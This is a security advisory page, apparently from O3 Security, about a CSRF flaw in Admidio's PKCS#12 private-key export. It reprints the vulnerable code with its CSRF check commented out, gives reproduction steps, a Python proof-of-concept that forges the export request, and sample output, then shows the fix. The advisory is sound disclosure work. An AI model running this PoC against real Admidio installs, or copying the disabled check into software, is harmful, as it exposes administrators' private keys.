GHSA-4rgq-38mh-9xqg
MEDIUMGHSA-4rgq-38mh-9xqg is a medium-severity (CVSS 4.3) Cross-Site Request Forgery (CSRF) vulnerability in admidio/admidio. O3 Security confirms whether GHSA-4rgq-38mh-9xqg is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Admidio PKCS#12 private key export action lacks CSRF protection
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-4rgq-38mh-9xqg.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-4rgq-38mh-9xqg plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 365,433 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
admidio/admidioReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The sensitive mode=export action in modules/sso/keys.php exports a PKCS#12 bundle containing the configured private key and certificate, but the CSRF validation line is commented out. A forged cross-site POST from an administrator session can therefore trigger private key export without a valid form token.
Vulnerable Code Links
- https://github.com/Admidio/admidio/blob/v5.0.9/modules/sso/keys.php#L83-L94
- https://github.com/Admidio/admidio/blob/v5.0.9/src/SSO/Service/KeyService.php#L108-L150
Vulnerable Code
// modules/sso/keys.php
case 'export':
// SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
$keyService = new KeyService($gDb);
$password = admFuncVariableIsValid($_POST, 'key_password', 'string');
$keyService->exportToPkcs12($getKeyUUID, $password);
break;
// src/SSO/Service/KeyService.php
public function exportToPkcs12(string $keyUUID, string $password = '') {
$ssoKey = new Key($this->db);
$ssoKey->readDataByUuid($keyUUID);
...
openssl_pkcs12_export($certificate, $pkcs12, $privateKey, $password, ["friendly_name" => $name]);
header('Content-Type: application/x-pkcs12');
header('Content-Disposition: attachment; filename="' . $filename . '.p12"');
echo $pkcs12;
exit;
}
What Does The Code Mean
The export route accepts a key UUID and export password from the request, then returns a PKCS#12 bundle containing the private key material and certificate as a direct browser download.
Why The Code Is Vulnerable
The route is a sensitive action and should require a valid anti-CSRF token. Because the validation call is commented out, any attacker-controlled page can force an authenticated administrator’s browser to perform the export request.
Verification Environment
- Application: Admidio
v5.0.9 - Runtime: Dockerized Admidio + MariaDB on
http://localhost:18080 - Validation mode: real deployed application, not isolated unit tests
Steps To Reproduce
- Log in as an administrator.
- Create or seed an SSO key pair.
- Send a POST request to
/modules/sso/keys.php?mode=export&uuid=<key-uuid>with onlykey_password=ExportPass123!and noadm_csrf_token. - Verify that the response returns
application/x-pkcs12and that the returned file parses successfully with OpenSSL.
PoC Script
import os
from pathlib import Path
from helpers import BASE_URL, login, new_session, save_json, save_text
KEY_UUID = os.environ["ADMIDIO_KEY_UUID"]
def main():
session = new_session()
login_result = login(session, "admin", "AdminPass123!")
resp = session.post(
f"{BASE_URL}/modules/sso/keys.php?mode=export&uuid={KEY_UUID}",
data={"key_password": "ExportPass123!"},
)
resp.raise_for_status()
Path("/home/ubuntu/bughunting/admidio/runtime_validation/output/exported_key.p12").write_bytes(resp.content)
save_json(
"pkcs12_export_csrf_result.json",
{
"login": login_result,
"status_code": resp.status_code,
"content_type": resp.headers.get("Content-Type"),
"content_length": len(resp.content),
"content_disposition": resp.headers.get("Content-Disposition"),
},
)
if __name__ == "__main__":
main()
PoC Output
{
"content_disposition": "attachment; filename=\"Runtime_Test_Key.p12\"",
"content_length": 2644,
"content_type": "application/x-pkcs12",
"login": {
"cookies": {
"ADMIDIO_admidio_adm_SESSION_ID": "jpk70tcvbaq3gof7lqdq6penkb"
},
"csrf": "ztUJwMPATEKBdu2Qw3oJlnD0WeWLcn",
"json": {
"status": "success",
"url": "http://localhost:18080/modules/overview.php"
},
"status_code": 200
},
"status_code": 200
}
MAC: sha256, Iteration 2048
MAC length: 32, salt length: 8
PKCS7 Encrypted data: PBES2, PBKDF2, AES-256-CBC, Iteration 2048, PRF hmacWithSHA256
Certificate bag
PKCS7 Data
Shrouded Keybag: PBES2, PBKDF2, AES-256-CBC, Iteration 2048, PRF hmacWithSHA256
Impact
A cross-site request can trigger private key export in an administrator browser context. Same-origin policy normally prevents direct cross-site reading of the response, so the practical impact is lower than a direct exfiltration bug, but the application still performs a sensitive secret-export action without CSRF protection.
Remediation And Suggestions
Restore CSRF validation and require a POST body token before exporting private key material.
case 'export':
SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
$keyService = new KeyService($gDb);
$password = admFuncVariableIsValid($_POST, 'key_password', 'string');
$keyService->exportToPkcs12($getKeyUUID, $password);
break;
For additional hardening, consider requiring re-authentication or current-password confirmation before any private-key export.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | admidio/admidio | all versions | 5.0.10 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for admidio/admidio. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update admidio/admidio to 5.0.10 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-4rgq-38mh-9xqg is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-4rgq-38mh-9xqg is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-4rgq-38mh-9xqg. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-4rgq-38mh-9xqg in your dependencies?
O3 detects GHSA-4rgq-38mh-9xqg across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.